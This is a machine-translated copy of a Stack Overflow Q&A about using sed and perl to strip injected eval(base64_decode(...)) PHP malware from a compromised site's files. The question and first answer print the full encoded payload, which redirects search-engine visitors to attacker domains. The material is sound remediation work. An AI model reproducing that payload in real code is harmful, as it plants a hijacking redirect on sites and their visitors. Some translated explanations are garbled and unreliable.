使用(osx)终端删除base64 Eval Junk

时间:2012-08-24 18:38:42

标签: php macos terminal

在大量的PHP注入后尝试清理 - 大约六个网站中的每个php函数都是垃圾邮件。

我已经把所有东西从服务器上移到本地机器上,我希望有一个很好的方法来删除所有巨大的代码字符串与终端。

其中我什么都不知道。

http://devilsworkshop.org/remove-evalbase64decode-malicious-code-grep-sed-commands-files-linux-server/有很好的指示在服务器上清除,但替换我的路径/到/文件夹似乎没有在终端中工作。

感觉我很亲近,但是,因为我对终端的方式视而不见,这似乎并不令人感到安慰。

基于以上所述,这就是我所得到的 - 任何帮助都会非常受欢迎。

grep -lr --include=*.php "eval(base64_decode" "/Users/Moxie/Desktop/portfolio-content" |     xargs sed -i.bak 's/<?php eval(base64_decode[^;]*;/<?php\n/g' 

已更新

德罗伯特 - 感谢百万人帮忙解决这个问题 -

基本上,在实际函数之前的每个<?php之后的空格都插入了它:     eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vd3d3LnN0bHAuNHB1LmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));

每个角色都会发生变化,因此简单的查找和替换将无效(我很确定,这一点)。

2 个答案:

答案 0 :(得分:1)

这是我的代码,证明是一个有效的解决方案。

我将所有文件下载到本地计算机并开始处理解决方案。这是我的解决方案{与我目瞪口呆的组合}

    #!/bin/bash
    FILES=$(find ./ -name "*.php" -type f)
    for f in $FILES
    do
    echo "Processing $f file LONG STRING"
    sed -i 's#eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly93a3BiLjI1dS5jb20vIik7DQpleGl0KCk7DQp9Cn0KfQ0KfQ0KfQ=="));##g' $f
    echo "Processing $f file SMALL STRING"
    sed -i 's#eval(base64_decode.*));##g' $f
    done

将其保存为mybash.sh {来自您最喜欢的文本编辑器}

    $ sudo chmod +x mybash.sh //execute permission for script
    $ ./mybash.sh

我使用了第一个LONG STRING导致模式始终相同。以下是上述代码的解释

  • s# - 开始分隔符{#-delimiter与sed规则中的/相同}
  • eval(base64_decode。)); {匹配的第一个模式,Reg Exp [。 - 匹配任何单个字符],[ - 匹配前面的元素零次或多次}}
  • - 第二次出现分隔符{#},#为空后基本上意味着替换第一个字符串{eval(base64_decode。*));} WITH {''}
  • #g - 命令结束,SED语法

答案 1 :(得分:0)

因此,有人可以访问您服务器上的任意文件。我假设你已经清理了让他们进入的漏洞。

问题是,虽然eval(base64_decode的东西是显而易见的,但必须要去,入侵者可能会把其他东西放在那里。谁知道,也许他在某个地方删除了mysql_real_escape_string,让你容易受到未来的SQL注入攻击?或htmlspecialchars,让您容易受到JavaScript注入?本来可以做的。可能甚至不是PHP;你确定没有添加JavaScript吗?还是嵌入?

最好的方法是与已知良好的副本进行比较。你有版本控制和备份,对吗?

否则,您确实可以使用perl -pi -e替换该PHP代码,但是匹配它可能很困难。这可能有效(在副本上工作!),并根据需要调整正则表达式中的间距:

perl -pi -e 's!<\?php eval\(base64_decode\(.*?\)\) \?>!!g' *.php

但实际上,您应该手动查看每个文件,以确认没有其他漏洞存在。即使您最近的已知好副本有点旧,也可以查看差异。

编辑:

好的,所以听起来你不想整个PHP块,只是评估线:

perl -pi -e 's!eval\(base64_decode\(.*?\)\);!!g' *.php

如果另外还有要删除的换行符,您可能希望在第一个\n之前添加!。如果base64实际上有新行,那么您需要添加{{ 1}}在s之后。